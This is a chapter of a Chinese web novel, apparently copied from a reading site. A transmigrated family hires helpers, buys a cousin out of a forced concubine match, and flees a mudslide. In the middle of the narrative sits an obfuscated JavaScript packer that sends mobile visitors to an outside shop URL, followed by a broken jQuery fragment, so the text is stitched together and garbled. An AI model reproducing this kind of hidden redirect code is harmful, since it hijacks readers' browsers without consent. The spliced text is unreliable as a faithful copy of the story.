听了这话,几位帮工的人来了兴趣,“说吧,怎么干?”
姜穗穗:“就是开垦我家山脚下的坡地,还有垒梯田,就是些山上的活,具体听我爸的。一共累计干够三十天就行,不用一次性干完,完成了就给大家发铁锅和水箱。”
姜武有些犹豫,家里的地如今正是要天天看水的时候,不能放着不管,“大山哥,我们可以上午忙活自己家的地,下午来帮你干活吗?”
“可以,但是下午来的话,我们只管晚上一顿饭。”姜大山觉得这样挺好,自己家里早上要做糕点,也不方便早早下地。
听到姜大山这么说,大家就没了顾虑,纷纷同意了,“好,那我们明天下午就来找你。”
吃完了开伙饭,姜大山看了看剩下的青砖,“之后我再买点砖,造个淋浴间,等造好了装上水箱和花洒,洗澡就方便了。”
“那我就等着了。”姜穗穗又想起个事。“对了,爹,那批水箱和铁锅,你去找铁匠铺,要个批发价。”
“好的,正好我明天还有其他事要去铁匠铺。”
翌日,天香楼的马车刚走,家里就来人了。
来的正是程青禾的二姐程青萍。
“二姐,你怎么这么早来了?”见程青萍一大早找来,程青禾有些惊讶和担心,“是出什么事了吗?”
程青萍张了张嘴,没开口。
程青禾见她迟疑,把她带进了屋子,关上了门,又给她倒了一杯果茶。
程青萍尝了一口,“真的好好喝。看来有人说你们家卖吃食赚到了钱,是真的了。”
程青禾又给她的杯子加满,“好喝的话,等下带点回去喝。不过二姐今天来,到底什么事?”
程青萍张望了下,“妹夫和云哥儿不在家吗?”
程青禾回道:“他们去县里了。”
程青萍握紧了杯子,“我今日来,是想问问,你家云哥儿,看不看得上我们家慧姐儿?”
原来这来做媒的,程青禾和姜穗穗母女两人对视了一眼,但是这是近亲结婚,要不得啊。
程青禾知道近亲结婚问题解释不了,自由恋爱理念也过于先进,想了个借口,“这哪是看不看得上的问题,就是我家耕云,有喜欢的姑娘了,我们正在攒钱给他娶媳妇呢。”
程青萍的目光一下子灰败下来,甚至红了眼眶。
姜穗穗觉得这位小姨的反应,不像是她猜测的因为他们家发达了,来攀亲事的样子,“小姨,是家中还是慧姐儿出了什么事吗?”
程青萍双手捂住脸,哭嚷出声:“你姨父要把慧姐儿,嫁给刘老爷,当冲喜的小妾。”
冲喜?还是嫁给老头作妾,这简直泰糟蹋人了。
姜穗穗气得气血上涌,但还是努力让自己冷静了下来。
“小姨,这件事我要和我哥商量下怎么办。你不妨回家佯装吵架回娘家,把慧姐儿接到我们家住几天。”
目前先保住人才是正经。
程青萍回过神来,“好,我这就回去接她。”
而程青萍刚走,姜家又迎来了一位媒婆,前来为姜耕云说媒。
媒婆说得天花乱坠,“陈家那姑娘,可是打着灯笼也难找,不仅各种贤惠能干,操持家务一把好手,而且丰满好生养,更重要的是,她家里愿意出二两银子的嫁妆。”
程青禾知道媒婆说的算是事实,但是那姑娘甚是高大健壮,恐怕不符合自己儿子的审美。
况且,她本来也无意给儿子搞什么包办婚姻,于是照搬了说辞,“我家耕云有喜欢的姑娘了。”
“就可惜了陈家姑娘的一片心意了。”媒婆一脸惋惜地走了。
要知道这亲事成了,陈家可是愿意给她一百文说媒钱呢,实在是可惜。
等中午姜大山父子两人回来,姜耕云疑惑地问程青禾:“娘,怎么外面有人说我有喜欢的姑娘了,还说是你说的?”
“娘要是不说你有喜欢的姑娘了,你一上午就得有两个婚约。”姜穗穗取笑道。
姜耕云还是不懂,“到底怎么回事?”
姜穗穗便把媒婆还有小姨母上门的事说了,“哥,我要是让小姨名义上把表姐卖给我当奴婢,行得通吗?”
姜耕云摇摇头,“你还是太低估了父权制社会父亲的地位了,一旦姨父告官,你和姨母还有表妹都吃不了兜着走。”
姜穗穗问:“那把姨父告上官府呢?”
姜耕云:“有成功的希望,但是一则表妹不能自己去告,否则官府会首先治她一个不睦之罪,严重时甚至被判绞刑,二则需要证据证明姨父是略卖,也就是强迫女儿为妾。”
姜穗穗对这些封建教条充满了无力感,“那我们现在应该怎么办?”
姜耕云想了想,“四条路,第一条就是表妹自己嫁人,但是会面临杖责一百的惩罚,第二条是出家,第三条就是找族里的长辈调和,不行就由娘家的男子出面告官,第四条就是和姨父谈判,由我们出钱,让他把表妹卖给我们。”
姜穗穗若有所思,“等表姐她们到了,跟她们商量商量吧。”
没想到话刚说完,程青萍就带着李□□来了,程青萍脸上还带着伤。
“小姨,这是……”那明显是巴掌印。
程青萍忍着泪摇摇头,“没事,就是吵了一架,没什么的。”
程青禾拿来创伤膏,给程青萍涂上,姜穗穗给她们两说了说姜耕云的四条路,“所以,表姐,你想选哪条?”
“族里不会为我出面的,我也没有想嫁的人,也不想太麻烦大家,所以我选出家。”李□□笑容凄楚,语气却是坚决。
姜穗穗却不同意,“表姐,我们要不先试试第四条路吧,放心,这钱你用干活抵,过个三年五载,若是想嫁人或者有好去处,我就放你自由。”
姜穗穗见李□□没有同意,继续劝:“你出家了,小姨不得哭瞎,而且我家现在的确缺人干活,你就当帮帮我。”
“我也不想出家,但是对方出十两银子。”
姜穗穗握住了她的手,“不就是十两嘛,我出得起,你玩相信自己也还得起。”
李□□看着姜穗穗的眼睛,点了点头。
“大山哥,我们来了!”屋外有人在喊。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868827|212215||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“那我先去山上了。”姜大山拿起了锄头,对家里的人说了声。
姜耕云也跟了上去。
“爹,你们早点回来,傍晚会下大雨。”姜穗穗在背后提醒。
“知道了。”
姜穗穗转过身,“小姨,表姐,你们安心就在家住下。”
程青禾帮腔:“对,安心住下,正好帮我干干活,我正愁忙不过来呢。然后晚上二姐你跟我睡,让慧姐儿跟穗穗一起。”
傍晚,程青萍和程青禾做了一桌子好菜,等着干活的人回来吃饭。
姜穗穗尝了尝,她姨母的手艺完全不逊于她娘,她瞬间动了心思,想留下程青萍,帮她娘分担下压力。
见大家还没回来,姜穗穗看着已经密集起来的云层,使用好雨知时节的功能看了看还有多久下雨。
【警告!警告!半个时辰内将有特大降雨,并伴有泥石流等地质灾害。】
泥石流?看到这个消息,她有些慌了,她必须赶紧上山,把大家喊回来。
“娘,我去找爹他们,记住,无论出什么事,你别乱跑。”
说完,姜穗穗就跑了出去。
等她跑了几步,天就一下子黑了,像是裂开了一个口子,大雨被倒了下来,正好落在她们家的山上。
姜大山下了大雨,“大家赶紧往那边避一避雨。”
大家便跑往一处山谷石壁处避雨。
夏天的雨一向来得快,取得块,但是这场雨却下了一刻钟也没有减弱的趋势。
“爸,有泥石流,快离开那里!”
姜穗穗的声音在雷电的间隙中传来。
这时,一声闷雷般的巨响从山谷深处传来。
姜大山立即大喊:“快,所有人到高处,到山脊上去!”
大家看着有些疯狂的姜大山父女,到底还是听了他们的话,跑了起来。
姜大山跑向姜穗穗,一把拉住了她,带着她上了左侧的山坡,迅速往上爬。
爬了一半,便听见是无数碎石滚落,相互撞击的轰隆声。
只见山洪裹挟着泥浆巨石倾泻而下,淹没了山谷。
还好大家离开了山谷,没有被埋。
“这次,真的玩谢谢穗穗的救命之恩了。”劫后余生的姜五,站在山坡上看着石洪,庆幸地说。
他们又往高处爬了爬,等到雨势变小,才在姜穗穗的首肯下,从山脊另一侧回村。
到了家,姜穗穗换了衣服吃了饭。
“怎么了,你一直忧心忡忡的?”姜耕云注意到姜穗穗情绪不对。
姜穗穗发愁,“这场大雨要下三天,我怕会有洪灾。”
姜耕云询问:“降雨强度大吗?”
姜穗穗看了看系统,“今天夜里都是特大暴雨到大暴雨,等到明天中午才会转为中雨。”
姜大山听了后,披上了蓑衣,“我去找下里正,提醒下大家今晚别睡太沉,以及让大家把粮食从地窖里拿出来,放到高点的地方。”
姜大山出门后,程青禾想到了另一个问题,“我们今天夜里还做不做糕点?”